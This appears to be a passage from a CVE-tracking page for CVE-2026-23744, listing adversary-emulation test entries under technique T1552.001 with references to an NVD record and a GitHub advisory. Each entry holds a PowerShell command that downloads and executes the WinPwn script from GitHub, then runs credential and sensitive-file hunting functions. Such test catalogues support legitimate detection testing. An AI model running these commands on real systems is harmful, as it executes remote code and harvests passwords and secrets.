iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (3)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2026-23744
github.com
GitHub CVE x_refsource_CONFIRM
https://github.com/MCPJam/inspector/security/advisories/GHSA-232v-j27c-5pp6
github.com
GitHub CVE x_refsource_MISC
https://github.com/MCPJam/inspector/commit/e6b9cf9d9e6c9cbec31493b1bdca3a1255fe3e7a